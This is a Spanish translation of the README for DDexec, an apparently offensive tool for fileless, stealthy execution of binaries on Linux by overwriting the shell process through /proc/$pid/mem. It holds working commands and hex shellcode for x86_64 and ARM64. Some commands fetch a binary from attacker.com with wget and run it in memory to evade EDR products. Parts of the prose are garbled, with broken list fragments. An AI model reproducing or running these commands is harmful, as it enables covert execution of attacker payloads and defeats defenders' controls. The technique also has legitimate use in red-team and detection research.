
Una técnica para ejecutar binarios sin archivos y de forma sigilosa en Linux "sobrescribiendo" el proceso del shell con otro.
He actualizado DDexec tanto que apenas es reconocible, el análisis del ELF ahora se realiza mediante código máquina en lugar del script de shell, lo que lo hace mucho más rápido, fiable y comprensible. También ha reducido su número de dependencias al mínimo absoluto.
Ahora también apenas depende de la aritmética del shell, lo que podría hacer que funcione en Android.
En Linux, para ejecutar un programa, debe existir como archivo, debe ser accesible de alguna manera a través de la jerarquía del sistema de archivos (así es como funciona execve()). Este archivo puede residir en disco o en RAM (tmpfs, memfd) pero necesitas una ruta de archivo. Esto ha hecho muy fácil controlar lo que se ejecuta en un sistema Linux, facilita la detección de amenazas y herramientas de atacantes o evita que intenten ejecutar algo propio (p. ej. no permitir que usuarios no privilegiados coloquen archivos ejecutables en ningún lado).
Bueno, si no puedes iniciar el proceso que deseas... entonces secuestras y torturas uno ya existente hasta que cumpla tus deseos.
Introduce en el script ddexec.sh el binario que deseas ejecutar. Los argumentos para el script son los argumentos para el programa (comenzando con argv[0]).
Aquí, prueba esto:
bash ddexec.sh ls -lA < /bin/ls
que es fácilmente weaponizable con algo como
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar
También existe el script ddsc.sh que permite ejecutar código máquina directamente.
El siguiente es un ejemplo del uso de un shellcode que creará un memfd (un descriptor de archivo que apunta a un archivo en memoria) al que luego podemos escribir binarios y ejecutarlos, obviamente desde memoria.
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4
En ARM64 el proceso es el mismo.
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"
Las distribuciones de Linux probadas son Debian, Alpine y Arch. Los shells soportados son bash, zsh y ash (busybox); en arquitecturas x86_64 y aarch64 (arm64).
A partir del 12/12/2022 he encontrado una serie de alternativas a dd, una de las cuales, tail, es actualmente el programa predeterminado utilizado para lseek() a través del archivo mem (que era el único propósito de usar dd). Dichas alternativas son:
tail
hexdump
cmp
xxd
Configurando la variable SEEKER puedes cambiar el seeker utilizado, p. ej.:
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
Si encuentras otro seeker válido no implementado en el script, aún puedes usarlo configurando la variable SEEKER_ARGS:
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
Bloqueen esto, EDRs.
Este script depende de las siguientes herramientas para funcionar.
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | cualquier otro programa que nos permita buscar a través de un fd
En el caso de ash, tail, dd, hexdump, cmp y xxd son built-ins, por lo que no son realmente una dependencia.
Nota: Solo funciona en versiones modernas de busybox, no estoy seguro de la versión más antigua, no lo he investigado. Sé que funciona en v1.35.0, pero no en v1.30.0.
Si eres capaz de modificar arbitrariamente la memoria de un proceso, entonces puedes tomar el control del mismo. Esto se puede usar para secuestrar un proceso ya existente y reemplazarlo con otro programa. Podemos lograr esto ya sea usando la syscall ptrace() (que requiere tener la capacidad de ejecutar syscalls o tener gdb disponible en el sistema) o, más interesante, escribiendo en /proc/$pid/mem.
El archivo /proc/$pid/mem es un mapeo uno a uno del espacio de direcciones de espacio de usuario de un proceso (p. ej. desde 0x0 hasta 0x7ffffffffffff000 en x86-64). Esto significa que leer o escribir en este archivo en un desplazamiento x es lo mismo que leer o modificar el contenido en la dirección virtual x.
Ahora, tenemos tres problemas básicos que enfrentar:
Pero tenemos soluciones ingeniosas:
mem del shell con permisos de escritura... así que los procesos hijo que usen ese fd podrán modificar la memoria del shell.maps del shell desde procfs para obtener información sobre la distribución de direcciones del proceso.lseek() sobre el archivo. Desde el shell, esto se puede hacer usando algunos binarios comunes, como tail o el infame dd, consulte la sección EverythingExec para más información.Los pasos son relativamente fáciles y no requieren ningún tipo de experiencia para entenderlos:
/proc/$pid/syscall la dirección a la que el proceso retornará después de la syscall que está ejecutando actualmente —ya que estamos leyendo este archivo, dicha syscall será read(), y la dirección estará en el wrapper de read() de la libc. Esto es solo para obtener un lugar donde nuestro stager será encontrado pronto.mem podemos modificar páginas no escribibles). Dicho stager leerá y ejecutará un shellcode más grande.execve():
El shellcode se ha generado compilando loader.c, y ajustando su ensamblador para eliminar y simplificar muchos artefactos introducidos por el compilador.
Bueno, hay un par de TODOs. Además de esto, puede que hayas notado que no sé mucho sobre scripting de shell (soy más programador de C) y estoy seguro de que debo haber ganado una década de premios "useless use of a cat" —no se dañaron gatos en la creación de esta herramienta— y el resto de variantes solo con una fracción de este proyecto.
— Portar a otros shells —en el límite deberíamos hacer el script compatible con POSIX.
De todas formas, siéntete libre de hacer fork y PR. Pero por favor, al contribuir ten en cuenta que no se aceptarán PRs que hagan que no funcione en los shells soportados, eso no es contribuir, es solo romper cosas. Sería mejor si tus cambios son compatibles con POSIX.
Solo... por favor, por favor, por favor, revisa tu código y comprueba que funcione en los shells soportados al menos en Debian y Alpine. Es solo un par de dockers.
Después de publicar esta herramienta, me enteré de que Sektor7 ya había publicado esta técnica casi exacta en su blog hace unos años.
A pesar de esto, pensé esta técnica de forma independiente, ahora casi en su totalidad. Probablemente la parte más inteligente de esta técnica es el uso del descriptor de archivo heredado, idea proporcionada por David Buchanan (inspirado por el blog de Sektor7) casi un año antes de que siquiera empezara a pensar en este tema. Esto por sí solo no solo hace la técnica mucho más simple y limpia, sino que también la hace mucho más letal al eliminar la necesidad de deshabilitar ASLR.
De cualquier manera, espero poder difundir esta técnica mucho más, que es lo que importa.
Me gustaría agradecer a Carlos Polop, un gran pentester y mejor amigo, por hacerme pensar en este tema, y por sus útiles comentarios e interés, oh, y también le debo el nombre del proyecto. Estoy seguro de que si estás leyendo esto ya has usado su increíble herramienta PEASS y has encontrado útil algún artículo de su libro HackTricks.
Puedes:
mem.Puedes contactarme a través de Twitter.